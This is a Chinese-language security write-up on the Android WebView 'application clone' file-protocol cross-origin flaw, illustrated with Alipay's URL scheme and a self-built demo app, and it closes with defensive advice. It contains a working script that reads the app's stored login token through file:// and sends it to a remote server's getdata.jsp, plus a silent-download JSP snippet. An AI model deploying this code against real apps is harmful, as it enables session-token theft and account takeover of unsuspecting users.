前言
2018年1月9號,騰訊玄武實驗室召開了一個新聞發布會,向公眾公布並演示了“應用克隆”漏洞,並稱:利用該漏洞,用戶只需要點擊一個鏈接,用戶的支付寶、攜程等APP的登陸狀態,就可以被克隆到其他用戶的手機上,一時造成用戶恐慌。恰好這段時間支付寶的“天天領紅包”活動進行的如火如荼,出現了通過點擊一個鏈接就自動搶紅包的薅羊毛方式。下面結合支付寶的自動領紅包鏈接,對“應用克隆”漏洞從技術原理上作一下分析。
支付寶自動領紅包
簡介
在去年年底,支付寶推出了一個“天天領紅包”活動,用戶只需要將自己的紅包口令通過短信或者微信的方式發給對方,對方復制該條信息然后打開支付寶APP,便會得到一個支付寶紅包,這個紅包可以直接用於支付寶消費,消費之后,推薦人會得到一筆賞金,直接到賬。當然也可以直接讓對方用支付寶掃描自己的推薦二維碼,效果一樣。這次活動持續時間長、活動力度大,羊毛很厚,因此大量用戶為了賺取賞金,開始各顯神通,比如下面這兩個:
然后聰明的程序員做了一個鏈接,對方只要點擊一下這個鏈接就會自動打開支付寶領一個紅包,免去了掃描二維碼、復制紅包口令、手動打開支付寶APP這些繁瑣的操作。筆者在元旦假期的時候,也嘗試做了這么一個鏈接,起了一個誘人的標題發布到了微信朋友圈,剛發布一會幾十塊錢賞金就到賬了,確實比發推廣信息效率高很多:)
技術原理
其實通過網頁喚起第三方APP不是什么新鮮的技術,做過安卓開發的應該都很熟悉。支付寶、導航系統、各種手機播放器等APP都大量的用到了這種技術,比如通過網頁打開一個視頻播放界面,這時旁邊會有個按鈕“在APP中播放”,點擊后會直接打開對應的APP繼續播放之前的視頻。實現這個需求只需要在定義activity的時候,指定一個scheme(協議),並且設置一個name為android.intent.category.BROWSABLE的category即可。這種在瀏覽器中通過自定義協議打開第三方應用的方法我們可以稱之為“偽協議”(正常在瀏覽器中打開的都是http、https、ftp這種常規協議),下圖即為支付寶定義的偽協議:
以上圖為例,只要在瀏覽器中打開一個以alipays://開頭的URL,瀏覽器便會自動拉起支付寶應用。
接下來分析一下支付寶紅包的推薦二維碼,解析二維碼得到URL: https://qr.alipay.com/c1x05309e4ttz2v7xrwrzcd,訪問該URL並抓包分析發現:
https://qr.alipay.com/c1x05309e4ttz2v7xrwrzcd返回302跳轉到了
https://mobilecodec.alipay.com/client_download.htm?qrcode=c1x05309e4ttz2v7xrwrzcd, https://mobilecodec.alipay.com/client_download.htm?qrcode=c1x05309e4ttz2v7xrwrzcd返回302跳轉到了
分析最后這個URL發現其scheme參數即為拉起支付寶的關鍵,URL解碼:
scheme=alipays://platformapi/startapp?saId=10000007&clientVersion=3.7.0.0718&qrcode=https%3A%2F%2Fqr.alipay.com%2Fc1x05309e4ttz2v7xrwrzcd%3F_s%3Dweb-other
通過上面這個參數我們可以清晰的看到這是一個啟動支付寶的偽協議,在啟動的時候向支付寶傳遞了3個參數:saId、clientVersion、qrcode,其中qrcode即為我們的紅包推薦二維碼鏈接。所以猜測這個activity的功能就是打開我們通過qrcode指定的URL。接下來寫一個簡單的alipay.htm頁面來測試:
<html> <script> window.location.href='alipays://platformapi/startapp?saId=10000007&clientVersion=3.7.0.0718&qrcode=https%3A%2F%2Fqr.alipay.com%2Fc1x05309e4ttz2v7xrwrzcd%3F_s%3Dweb-other' </script> </html>
打開效果如下(大家可以將以下鏈接復制到手機瀏覽器測試http://114.115.139.176/alipay.htm):
瀏覽器成功喚起了支付寶APP,並跳到了領紅包的界面。到此,支付寶自動搶紅包的鏈接就分析完成了。
擴展
在上面支付寶自動搶紅包的偽協議中,可以看到我們可以通過控制qrcode參數來控制支付寶打開我們指定的一個鏈接,這里qrcode是不是只能打開支付寶的頁面呢?下面我們用百度測試一下,構造如下URL:
alipays://platformapi/startapp?saId=10000007&clientVersion=3.7.0.0718&qrcode=https%3A%2F%2Fwww.baidu.com%2F,發現可以成功打開,效果如下:
像支付寶這種通過接收外部傳入的URL參數,然后在APP內進行加載的特性,是導致下面所介紹的“應用克隆”漏洞的元凶。
應用克隆
簡介
2017年12月7日,國家信息安全漏洞共享平台(CNVD)接收到騰訊玄武實驗室報送的Android WebView存在跨域訪問漏洞(CNVD-2017-36682)。攻擊者利用該漏洞,可遠程獲取用戶隱私數據(包括手機應用數據、照片、文檔等敏感信息),還可竊取用戶登錄憑證,在受害者毫無察覺的情況下實現對APP用戶賬戶的完全控制。由於該組件廣泛應用於Android平台,導致大量APP受影響,構成較為嚴重的攻擊威脅。
跨域
CNVD將應用克隆漏洞(CNVD-2017-36682)描述為“Android WebView存在跨域訪問漏洞”,那么我們就先來看看什么是跨域。討論跨域,自然要從瀏覽器的安全機制“同源策略”談起,同源策略是由Netscape提出的一個著名的安全策略,其限制從一個源加載的文檔或腳本與來自另一個源的資源進行交互。這是一個用於隔離潛在惡意文件的關鍵的安全機制。如果兩個URL的協議、端口、域名是相同的,則認為這兩個URL是同源的,互相訪問資源不受限制,比如http://a.com/a.html中的腳本可以向http://a.com/b.htm發起ajax請求,並獲取響應內容。但是如果http://a.com/a.html中的腳本向http://b.com/b.htm發起請求就會被禁止,因為此時兩者屬於不同的源,而這個被禁止的請求就叫跨域請求。同源策略為很多正常的web業務場景帶來了不便,因此出現了CORS和JSONP等合法的跨域機制。
File協議
File協議主要用於訪問本地計算機中的文件,就如同在Windows資源治理器中打開文件一樣,比如我想查看本地/etc/hosts文件的內容,我就可以直接在瀏覽器輸入file:///etc/hosts來訪問。當然我們也可以通過瀏覽器訪問本地的html文件,文件中也可以內嵌JavaScript腳本,腳本里面可以繼續訪問File協議,這樣可以讀取webview所在進程具有讀取權限的所有本地文件的內容。這樣似乎也沒什么問題,畢竟所有的數據操作都是發生在本地的。但是Android的webview有個API叫做setAllowUniversalAccessFromFileURLs,當該API的設置值為True時,其實就是開啟了File協議的跨域機制,File協議中的腳本可以跨域訪問其他協議,比如http,這樣就存在問題了:攻擊者通過讓webview加載一個本地惡意的htm文件,這個htm文件會讀取本地的敏感文件內容,並把內容通過http請求發送至遠程服務器。這也便是“應用克隆”漏洞發生的根源。
通過上面的描述可以總結得知,如果想要成功利用應用克隆漏洞,至少需要滿足如下幾個要求:
- 攻擊者可以外部調用被攻擊APP,指令其加載一個本地的html文件。從前文得知通過向支付寶傳遞qrcode參數可以指令其訪問指定的URL,不過經過實測,這個URL不能是File協議的,因此不能指定支付寶訪問本地的html文件。
- 被攻擊APP的setAllowUniversalAccessFromFileURLs值為true。這個條件就比較苛刻了,在Android4.1(2012年發布)之前的版本,該選項默認為True,之后的版本默認值為False。所以除非APP是很老的版本,或者是新版本有着很特殊的業務需求,否則的話是不會將setAllowUniversalAccessFromFileURLs設置為True的。
- 攻擊者需要在被攻擊的手機上下載一個html文件並保存在一個可被File協議訪問到的位置。在Android老版本曾經出現過幾個漏洞,可以讓Android系統自帶瀏覽器靜默下載html文件到默認的下載目錄下,過程不需要與用戶交互。即使現在,chrome的最新版仍然可以通過訪問一個鏈接直接靜默下載html文件到默認下載目錄下:
<% response.setHeader("Content-Disposition","attachment;filename=autodown.htm"); out.print("<html><script>alert('just for autodownload test!')</script></html>"); %>
將上面的代碼保存為down.jsp,然后通過chrome for Android訪問,可以自動下載autodown.htm文件至/storage/sdcard0/Download目錄下。
同時滿足以上三個條件,就可以達到“應用克隆”的效果了。
實例演示
由於支付寶最新版不同時滿足前面提到的三個條件,甚至支付寶在“應用克隆”漏洞發布會舉行前的多個歷史版本也不能同時滿足“應用克隆”的條件。這里就以我自己編寫的一個APP來作為案例演示。
該APP實現了以下功能:
- 跟支付寶類似,該APP可以被瀏覽器通過偽協議喚起,且可以接受瀏覽器傳遞的url參數,並在APP內部調用webview組件加載該URL。
- 提供本地登錄功能,登錄成功后,將token持久化在sharedpreferences中,下次打開APP會自動讀取sharedpreferences中的token用於身份驗證,不需要每次打開APP都要重新登錄。
正常情況下,APP首次打開會要求用戶輸入用戶名密碼:
登陸成功之后,主頁面會顯示當然登陸的用戶名及token信息:
下面構造一個准備下載到手機上的惡意htm文件,內容如下:
<html> test by me! <script> var arm = "file:///data/data/com.example.q00412688.myapplication/shared_prefs/config.xml"; var xmlhttp; if (window.XMLHttpRequest) { xmlhttp=new XMLHttpRequest(); } xmlhttp.onreadystatechange=function() { //alert("status is"+xmlhttp.status); if (xmlhttp.readyState==4) { window.data=xmlhttp.responseText alert(window.data); var url = "http://114.115.139.176/getdata.jsp?data="+window.data; var xmlhttp2; if (window.XMLHttpRequest) { xmlhttp2=new XMLHttpRequest(); } xmlhttp2.onreadystatechange=function() { //alert("status is"+xmlhttp.status); if (xmlhttp2.readyState==4) { alert(xmlhttp2.responseText); } } xmlhttp2.open("GET",url); xmlhttp2.send(null); } } xmlhttp.open("GET",arm); xmlhttp.send(null); </script> </html>
然后在服務器測准備一個getdata.jsp文件用來接收被攻擊手機發來的數據,接下來我准備了兩台手機A和B,在A手機上登陸了a@a.com用戶,在B手機上登陸了b@b.com用戶,然后在a@a.com用戶的手機上打開一個惡意鏈接,之后B手機上登陸的用戶由b@b.com變成a@a.com,通過對方點擊一個鏈接,我們成功獲取了對方的token,實現了“克隆”。
如下為演示視頻:
防御建議
- 如果APP支持Android4.1(API level 16)之前的版本,請將setAllowFileAccessFromFileURLs 或setAllowUniversalAccessFromFileURLs顯示設置為False。如前文所述,“應用克隆”應用克隆的漏洞本質是file協議中的js讀取本地文件內容並跨域通過http、https、ftp等協議發送出去,所以通過setAllowUniversalAccessFromFileURLs為False阻斷file協議跨域,通過設置setAllowFileAccessFromFileURLs阻止file協議中的js讀取本地文件的內容。
- 如果業務需要不能將上述兩個選項設置為False,可以對webview加載的URL進行白名單限制。
總結
其實這個漏洞並不是什么新漏洞,setAllowFileAccessFromFileURLs、setAllowUniversalAccessFromFileURLs這兩個API早就是webview常規安全加固項的排查目標之一了。發布會中提到的“新攻擊模型”,也只是file跨域的眾多攻擊向量中的一個。